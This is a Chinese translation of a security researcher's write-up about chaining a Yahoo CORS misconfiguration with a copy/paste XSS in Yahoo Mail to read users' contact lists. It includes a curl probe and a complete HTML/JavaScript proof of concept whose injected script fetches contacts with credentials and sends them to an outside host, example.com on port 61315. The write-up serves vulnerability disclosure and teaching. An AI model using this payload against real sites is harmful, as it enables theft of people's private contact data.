標籤:

因為兩個漏洞,雅虎所有用戶通訊錄暴露

背景介紹

文中介紹了研究人員如何利用兩個漏洞(XSS和CORS誤配置漏洞)來竊取受害者通訊錄中的聯繫人信息。竊取的信息包括姓名、電話號碼、地址等。

跨域資源共享CORS(Cross-origin resource sharing)

跨域資源共享CORS(Cross-origin resource sharing)是一種用HTTP頭來使用戶代理從伺服器上獲取特定資源的許可權,而這種請求許可權是跨域的。而瀏覽器強制執行的是同源策略(Same-Origin Policy),同源策略意味著網站上的數據只允許相同域名和埠訪問。這裡有一個例外就是CORS配置,進行CORS配置後,就可以跨域訪問了,數據可以在不同站點之間訪問。

跨站腳本攻擊XSS(Cross Site Scripting)

XSS一種客戶端代碼注入攻擊方式,允許攻擊者在有漏洞的應用中注入腳本。

利用的漏洞詳情

Bug #1:

CORS誤配置proddata.xobni.yahoo.com

研究人員用Burp Suite對*.yahoo.com子域名的不同請求進行了分析,發現一個很有趣的子域名proddata.xobni.yahoo.com,記錄的請求很少,但是都是請求的endpoint都相同——proddata.xobni.yahoo.com。該endpoint含有聯繫人目錄中的每一個聯繫人,而且帶有Access-Control-Allow-Credentials: true的源mail.yahoo.com被反射回Access-Control-Allow-Origin。研究人員嘗試修改origin為不同的payload但是並沒有效果,因此研究人員用一個雅虎的子域名替換了該payload。

curl proddata.xobni.yahoo.com -s -H Origin: hackerone-cdl.yahoo.com –head

響應消息:

Access-Control-Allow-Origin: hackerone-cdl.yahoo.com

Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS

Access-Control-Allow-Credentials: true

從上面的信息可以發現,可以接受所有*.yahoo.com子域名的數據並反射到ACAO中,這意味著如果可以在*.yahoo.com中發現XSS漏洞,就可以竊取用戶通訊錄信息。

Bug #2: Yahoo郵箱XSS漏洞

研究人員沒有找到雅虎郵箱的XSS漏洞,但是在tweet上發現Enguerran Gillier (@opnsec)發現的雅虎郵箱中的複製粘貼XSS漏洞。

Poc

登錄的用戶可以從頁面中複製任意信息並粘貼到雅虎郵箱中。

<!doctype html>n <head>n <title>Yahoo CORS Misconfiguration</title>n </head>n <body>n <h1>Yahoo CORS Misconfiguration</h1>n <p>Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via Copy/Paste</p>n <h3>Prerequisites :</h3>n - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br/>n <h3>Instructions :</h3>n 1. Select any text in this page and copy it using ctrl-C or right click -> copy <br/>n <span>Copy status : </span><span id="copied">not copied yet</span> <br/>n 2. Go to Yahoo Mail, compose a new email and paste inside the email body<br/>n 3. All of your contacts information will be sent to my server on port 61315 n <script>n document.addEventListener(copy, function(e){n e.clipboardData.setData(text/plain, );n e.clipboardData.setData(text/html,<div id="enhancr2_a">xxx</div><img src="x" onerror="document.write(<script>var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location="http://example.com:61315"+escape(this.responseText);}};xhttp.open("GET","https://proddata.xobni.yahoo.com/v4/contacts",true);xhttp.withCredentials = true;xhttp.send();</script>);">);n e.preventDefault();n document.getElementById("copied").textContent = "SUCCESSFULLY COPIED"n });n </script>n

本文翻譯自:sxcurity.pro/2018/01/11 ,如若轉載,請註明原文地址:4hou.com/info/news/9906 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

如何看待「小紅書用戶信息遭大面積泄露:至少50人被騙,總額近90萬」這一事件?
用彙編語言(ARM 32位)編寫TCP Bind Shell的菜鳥教程
想保護隱私?這款應用能給你的Mac應用加上密碼
他用腳本存儲了兩百萬GB視頻,只是為了測試雲存儲是否真的「無限」

TAG:信息安全 |